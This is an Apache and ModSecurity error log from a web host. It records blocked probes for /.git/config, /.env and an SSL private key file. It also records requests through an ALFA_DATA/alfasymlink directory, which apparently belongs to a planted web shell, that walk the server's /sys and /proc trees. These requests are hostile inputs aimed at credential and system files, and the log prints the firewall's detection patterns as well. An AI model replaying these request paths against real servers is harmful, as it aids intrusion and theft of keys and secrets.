[Sat Oct 24 10:11:31.994149 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.23.185.185:38476] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "aty8k_MnT_rHlxLKOWDoIgAAAAc"]
[Sat Oct 24 10:11:31.994414 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.23.185.185:38476] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "aty8k_MnT_rHlxLKOWDoIgAAAAc"]
[Sat Oct 24 10:11:31.994620 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.23.185.185:38476] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "aty8k_MnT_rHlxLKOWDoIgAAAAc"]
[Sat Oct 24 10:11:31.994964 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.23.185.185:38476] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "aty8k_MnT_rHlxLKOWDoIgAAAAc"]
[Sat Oct 24 10:11:38.159319 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 3.223.181.32:51752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:03/physical_node/driver/0000:00:02.0/graphics/fb0/device/subsystem/drivers_probe
[Sat Oct 24 10:11:46.153366 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.213.27.222:3291] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:11:50.157527 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.197.114.76:46018] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:11:56.069971 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.210:57558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/validate
[Sat Oct 24 10:12:21.527842 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 185.191.171.5:25730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:12:22.322282 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.193.115.232:48810] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:12:26.259635 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 54.156.124.2:9002] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:12:30.266357 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 34.231.181.240:58769] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:12:34.144279 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.205.113.104:14032] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:12:35.818756 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 185.191.171.7:64446] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:12:38.220234 2026] [security2:error] [pid 2625272:tid 2625272] [client 52.203.237.170:28297] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0f/"] [unique_id "aty81oY2rJh4KkI7ZZhk8gAAAAM"]
[Sat Oct 24 10:12:38.220271 2026] [security2:error] [pid 2625272:tid 2625272] [client 52.203.237.170:28297] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0f/"] [unique_id "aty81oY2rJh4KkI7ZZhk8gAAAAM"]
[Sat Oct 24 10:12:42.262693 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 23.23.137.202:46283] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:12:43.124847 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 85.208.96.194:63292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/cpu_partial
[Sat Oct 24 10:12:46.139192 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 44.215.235.20:56802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:0c/eject
[Sat Oct 24 10:12:54.161285 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.207.252.58:4717] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:13:02.205321 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.204.253.129:29935] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:13:22.229707 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.204.253.129:38791] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:13:34.148993 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 52.44.174.136:31511] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/device:02/wakeup/wakeup0/device/subsystem/drivers/hardware_error_device/unbind
[Sat Oct 24 10:13:42.222039 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.6.97.88:34252] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:13:54.170242 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 3.208.156.9:11778] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/wakeup/wakeup2/device/physical_node/driver/0000:00:01.3/driver/module/sections/__jump_table
[Sat Oct 24 10:14:02.560296 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.14:23906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/hwcache_align
[Sat Oct 24 10:14:06.269830 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 100.28.49.152:36956] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:14:18.203442 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 18.208.11.93:22506] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/resource4_wc
[Sat Oct 24 10:14:22.201501 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.235.191.179:49687] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:14:26.215280 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.159.18.27:1064] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:14:46.213140 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 44.221.180.179:1805] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:1e/eject
[Sat Oct 24 10:14:53.056027 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 185.191.171.15:53270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-128/reclaim_account
[Sat Oct 24 10:14:54.259218 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 44.223.232.55:11508] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:15:10.285569 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 52.6.232.201:2364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/tty0/subsystem/ttyS0/iomem_reg_shift
[Sat Oct 24 10:15:18.165085 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.152.163.42:14333] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:15:26.134113 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.206.93.215:21775] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:15:27.859556 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.10:26920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/lib/modules/4.18.0-240.15.1.el8_3.x86_64/System.map
[Sat Oct 24 10:15:38.146711 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 100.28.57.133:31716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory13/node0/memory1/subsystem/drivers_probe
[Sat Oct 24 10:15:42.145442 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 23.21.148.226:57919] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:15:46.206363 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 184.73.167.217:60517] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:15:50.180023 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 23.21.179.120:11817] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:15:54.288296 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 18.214.124.6:26917] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:16:06.173918 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 54.152.163.42:45583] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event1/device/device/driver/serio0/firmware_node/subsystem/devices/device:06/physical_node/rescan
[Sat Oct 24 10:16:14.274405 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 23.23.180.225:14105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:16:18.270275 2026] [ssl:error] [pid 2635684:tid 2635684] (5)Input/output error: [client 34.224.132.215:29664] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:16:22.313174 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 18.235.81.246:25740] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:16:26.327169 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 50.19.79.213:3996] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:16:38.465656 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 23.21.148.226:37101] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:04.0/rescan
[Sat Oct 24 10:16:42.207021 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 52.7.13.143:48488] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:16:50.393647 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 54.221.203.24:20602] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:16:54.279028 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 18.204.152.114:2222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/devices/0000:00:03.0/firmware_node/physical_node/resource1
[Sat Oct 24 10:17:06.302029 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.45.92.83:40065] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:17:14.270280 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 52.4.213.199:34953] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:17:15.067227 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 85.208.96.196:26688] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:17:18.323934 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.7.33.248:55448] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:17:30.317465 2026] [security2:error] [pid 2625272:tid 2625272] [client 18.215.112.101:58411] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:04.0/firmware_node/"] [unique_id "aty9-oY2rJh4KkI7ZZhk_AAAAAM"]
[Sat Oct 24 10:17:30.317524 2026] [security2:error] [pid 2625272:tid 2625272] [client 18.215.112.101:58411] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:04.0/firmware_node/"] [unique_id "aty9-oY2rJh4KkI7ZZhk_AAAAAM"]
[Sat Oct 24 10:17:34.508964 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.197.102.71:19006] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:17:38.342552 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.211.105.134:28713] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:17:46.738254 2026] [ssl:error] [pid 2627273:tid 2627273] (5)Input/output error: [client 54.147.238.89:56996] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:17:52.937739 2026] [core:crit] [pid 2635684:tid 2635684] (13)Permission denied: [client 104.248.30.101:30426] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 10:18:02.257547 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.92.171.106:40226] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:18:02.841098 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 85.208.96.206:59764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/hwcache_align
[Sat Oct 24 10:18:10.329114 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 44.196.118.6:52089] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:18:20.476357 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 85.208.96.204:35900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/btree_node/usersize
[Sat Oct 24 10:18:24.478738 2026] [authz_core:error] [pid 2635678:tid 2635678] [client 199.212.57.91:44996] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 10:18:34.343476 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.221.156.96:35035] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:18:42.750790 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 23.23.213.182:59660] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:18:46.461329 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 34.234.197.175:64759] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/uevent
[Sat Oct 24 10:19:06.264406 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.144.185.255:3824] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:19:10.684006 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 85.208.96.210:61928] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:19:14.434483 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.197.28.78:61216] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:19:18.625108 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 18.214.124.6:64723] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:19:31.831918 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.197.114.76:27043] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:19:46.272037 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.207.252.58:51045] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:19:58.462894 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 18.204.89.56:47782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/rescan
[Sat Oct 24 10:20:14.332783 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.73.142.41:5215] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:20:22.358468 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.205.74.196:38086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:20:26.477619 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 98.83.226.125:35435] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:20:30.533476 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 23.23.213.182:50484] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:20:34.495202 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 18.214.251.19:36737] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:20:38.553022 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.218.35.239:33397] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:20:50.052617 2026] [security2:error] [pid 2609012:tid 2609012] [client 85.208.96.198:25306] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bfd3c_16efd_d291ac010d8115874f0e12d50fbdcc04.key"] [unique_id "aty-wnUcfBNBYE9xHAJCJgAAAAA"]
[Sat Oct 24 10:20:50.053057 2026] [security2:error] [pid 2609012:tid 2609012] [client 85.208.96.198:25306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bfd3c_16efd_d291ac010d8115874f0e12d50fbdcc04.key"] [unique_id "aty-wnUcfBNBYE9xHAJCJgAAAAA"]
[Sat Oct 24 10:20:50.053409 2026] [security2:error] [pid 2609012:tid 2609012] [client 85.208.96.198:25306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bfd3c_16efd_d291ac010d8115874f0e12d50fbdcc04.key"] [unique_id "aty-wnUcfBNBYE9xHAJCJgAAAAA"]
[Sat Oct 24 10:21:02.355809 2026] [ssl:error] [pid 2635676:tid 2635676] (5)Input/output error: [client 52.0.63.151:47299] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:21:30.393187 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.215.235.20:29518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:21:30.393376 2026] [security2:error] [pid 2627273:tid 2627273] [client 44.215.235.20:29518] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:01/physical_node/broken_parity_status"] [unique_id "aty-6hdOhHN-18IxgZKr-gAAAAY"]
[Sat Oct 24 10:21:30.393407 2026] [security2:error] [pid 2627273:tid 2627273] [client 44.215.235.20:29518] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:01/physical_node/broken_parity_status"] [unique_id "aty-6hdOhHN-18IxgZKr-gAAAAY"]
[Sat Oct 24 10:21:34.402736 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 23.21.175.228:23057] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:21:38.363370 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 98.83.10.183:21461] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:21:41.683940 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.207:49682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/cache_dma
[Sat Oct 24 10:21:46.582148 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 98.83.94.113:58298] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:21:52.231682 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 184.73.239.35:32303] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ata_piix/remove_id
[Sat Oct 24 10:22:06.438578 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.222.85.38:21149] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:22:18.482146 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.224.205.25:61293] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:22:19.441865 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.17:25894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/align
[Sat Oct 24 10:22:30.481778 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.221.156.96:12885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:22:35.613257 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 185.191.171.16:27602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:05.0/resource0
[Sat Oct 24 10:22:42.528960 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.71.216.196:8931] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:22:48.910816 2026] [security2:error] [pid 2627309:tid 2627309] [client 130.12.180.164:18850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc1.sherwinpinturas.com"] [uri "/.env"] [unique_id "aty_OF0Yuvqa3nuKpvNDMwAAAAk"]
